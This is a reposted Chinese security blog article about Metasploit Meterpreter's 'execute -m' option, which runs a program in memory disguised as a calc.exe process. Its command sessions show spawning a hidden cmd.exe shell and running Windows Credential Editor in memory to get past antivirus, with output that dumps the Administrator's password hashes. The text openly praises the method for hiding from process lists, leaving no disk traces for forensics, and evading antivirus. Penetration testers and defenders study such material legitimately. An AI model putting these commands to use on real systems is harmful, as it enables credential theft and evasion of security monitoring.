Metasploit:一顆沒有發現的珍珠

文章來源:http://www.cnblogs.com/scrat/archive/2012/09/17/2688446.html

本文介紹一下在Metasploit中被很少人瞭解的一項功能—Meterpreter執行命令過程中的—m參數。在說明文檔中,僅僅介紹了這個參數能夠在“內存中執行”,其實沒有真正解釋它的價值。下面是使用這個參數的一個演示:



meterpreter > cd %systemroot%
meterpreter > cd system32
meterpreter > pwd
C:\Windows\SYSTEM32
meterpreter > download cmd.exe
[*] downloading: cmd.exe -> cmd.exe
[*] downloaded : cmd.exe -> cmd.exe
meterpreter > execute -H -m -d calc.exe -i -f cmd.exe
Process 572 created.
Channel 5 created.
The system cannot find message text for message number 0x2350 in the message file for Application.

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\SYSTEM32>
得到shell後,輸入ps後,能夠看到後臺進程中有一個calc.exe進程,同時看不到有cmd.exe進 程,這事什麼原因呢?首先,我們從目標機器上下載了在cmd.exe,如果你已經有一個cmd.exe文件的話,這一步是可以省去的。其次, 我們執行calc.exe作爲傀儡程序執行,同時上傳另一個惡意程序佔用calc.exe的進行空間。在目標主機上,這個過程在calc.exe掛起後進 行,利用windows debugging API 去掉clac.exe的內核並替換成我們想執行的惡意程序。(真心邪惡)

利用內存執行技術(in-memory executable technique)有幾個優勢

程序名不會在進程列表中出現,所以像windows的程序管理器中顯示的進程名,你可以通過—d選項選擇你需要的名字,這一點非常重要,可以確保你能夠避開敏感人士的檢查。
執行文件永遠不會再硬盤下留下痕跡。比便在硬盤上執行文件意味着增大了取證分析的難度。(沒有新文件的產生或者時間修改的痕跡),儘管執行文件本 身會留下痕跡,但是需要追查這些痕跡很難。程序僅執行在內存中意味着殺毒軟件少了一個捕獲惡意程序的機會,殺毒軟件一般不喜歡那些經常使用的軟件,比如 WCE( Windows Credential Editor),所以在內存中運行程序少了不少麻煩,示例如下:

meterpreter > upload wce.exe
[*] uploading : wce.exe -> wce.exe
[*] uploaded : wce.exe -> wce.exe
meterpreter > ls wce.exe
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.

殺毒軟件檢測到WCE.exe這個程序是惡意程序並立即刪掉了,但是如果我們換一種方式,在內存中執行:



meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
Process 3216 created.
meterpreter > cat foo.txt
Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C

還有一個優點值得提出的是,如果cmd.exe在目標機器中禁用或是不存在,那麼可以通過上述方式直接上傳一個cmd.exe進行使用。



本文轉自:http://seckungfu.com/blog/2012/09/16/metasploit%3A%5B%3F%5D-ke-mei-you-fa-xian-de-zhen-zhu/
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章